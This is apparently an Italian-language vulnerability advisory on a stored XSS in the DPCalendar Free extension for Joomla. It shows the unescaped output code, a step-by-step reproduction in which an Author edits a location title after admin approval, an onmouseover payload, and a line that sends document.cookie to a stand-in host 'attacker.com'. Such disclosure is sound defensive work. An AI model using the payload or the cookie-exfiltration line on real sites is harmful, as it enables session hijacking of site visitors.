
Stored XSS tramite Location Title in DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Un utente con ruolo Author aggira la revisione dei contenuti per iniettare XSS persistente tramite il Titolo della Località, attivato al passaggio del mouse da qualsiasi visitatore
Il campo $location->title viene renderizzato senza htmlspecialchars() in default_locations.php. Il InputFilter::clean() lato server di Joomla rimuove e dai campi stringa ma consente , permettendo a un utente con ruolo Author di uscire dal contesto di un attributo HTML. Quando qualsiasi visitatore passa il mouse sulla sezione delle informazioni sulla Località di una pagina evento, il gestore iniettato esegue JavaScript arbitrario nella sessione del suo browser.
<>"onmouseoverUn secondo difetto di progettazione amplifica l'impatto: EventController::allowEdit() controlla solo created_by == current_user — non verifica lo stato di pubblicazione dell'evento. Un Author può creare un evento benigno, farlo pubblicare da un amministratore e poi armare silenziosamente la località collegata modificandone il titolo dopo la pubblicazione, aggirando completamente la revisione dei contenuti. Il payload XSS viene inserito dopo la moderazione; gli amministratori non lo vedono mai durante il loro ciclo di revisione.
| COMPONENTE | VULNERABILE | TESTATO SU | CORRETTO |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Tipo: Cross-Site Scripting persistente / Codifica di output impropria (CWE-79)
Autenticazione richiesta: ruolo Author — utente frontend (gruppo Joomla 4, minimo per creare eventi)
File: site/tmpl/event/default_locations.php
$location->title viene stampato direttamente — senza htmlspecialchars() — in due contesti di output in default_locations.php. Il contesto degli attributi è il sink sfruttabile tramite l'interfaccia web, poiché l'InputFilter di Joomla blocca <> ma lascia passare " senza modifiche.
DEFAULT_LOCATIONS.PHP — SINK DI OUTPUT VULNERABILI
// Sink 1 — contenuto testuale (iniezione HTML; <> rimosso da InputFilter tramite interfaccia web)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — attributo HTML (iniezione di attributi; " passa attraverso InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Un valore del titolo come New Location" onmouseover="alert(document.domain) viene memorizzato intatto dal server. In output, il Sink 2 viene renderizzato come:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
L'attributo onmouseover diventa un gestore di eventi attivo nel DOM renderizzato.
EventController::allowEdit() concede l'accesso di modifica a qualsiasi Author per i propri eventi indipendentemente dallo stato di pubblicazione. Un attaccante stabilisce fiducia inviando un evento normale per la revisione dell'amministratore, poi — dopo la pubblicazione da parte dell'amministratore — modifica silenziosamente la località collegata per iniettare il payload XSS:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SENZA CONTROLLO DELLO STATO
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Nessun controllo su $event->state — gli eventi pubblicati rimangono modificabili dall'Author
}
Vai al modulo di login del frontend e accedi con un account Author (gruppo Joomla 4 — minimo richiesto per creare eventi e località).

Vai su /index.php?option=com_dpcalendar&view=form. Crea un evento con un titolo pulito e collega qualsiasi località esistente (ad es. "Greater London"). Questo stabilisce la legittimità dell'Author prima dell'introduzione del payload.


L'evento viene inviato per la revisione. Un amministratore accede e lo pubblica dal backend di DPCalendar. L'evento ora è attivo e visibile a tutti i visitatori del sito.

Come Author, vai alla pagina dell'evento pubblicato. Il pulsante Modifica evento rimane visibile — allowEdit() non controlla lo stato di pubblicazione. Fai clic su Modifica evento, vai alla scheda Località e fai clic sull'icona della matita per aprire locationform.

Sostituisci il nome della località con il payload. L'InputFilter di Joomla lascia passare " — il payload viene salvato intatto e rompe il contesto dell'attributo HTML in output:
PAYLOAD — CAMPO TITOLO (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Fai clic su Salva.
Quando qualsiasi utente — autenticato o anonimo — visita la pagina dei dettagli dell'evento e sposta il cursore sulla sezione Informazioni sulla Località, il gestore onmouseover iniettato si attiva immediatamente. Non è richiesta autenticazione, clic o ulteriore interazione oltre alla visita della pagina.

Il payload grezzo è visibile nella sezione Località della pagina evento — il titolo non escapato viene renderizzato come attributo HTML attivo:

Il passaggio del mouse sulla sezione Località attiva la finestra di dialogo di alert nel browser del visitatore anonimo:

Dirottamento della sessione — Il gestore iniettato può esfiltrare il cookie di sessione della vittima tramite fetch('//attacker.com/?c='+document.cookie), consentendo la completa compromissione dell'account per qualsiasi ruolo che visualizzi l'evento.
Superficie di attacco persistente e legata all'evento — Il payload persiste finché il titolo della località non viene corretto manualmente. Ogni utente che visita la pagina evento — inclusi i visitatori anonimi — è esposto. Gli eventi ad alto traffico (conferenze pubbliche, pagine di prenotazione) moltiplicano il numero di vittime.
Bypass della fiducia post-pubblicazione — Poiché l'Author può modificare silenziosamente la località dopo l'approvazione dell'amministratore, il payload non viene mai visto durante la revisione dei contenuti. L'evento benigno supera la moderazione; l'XSS viene inserito successivamente.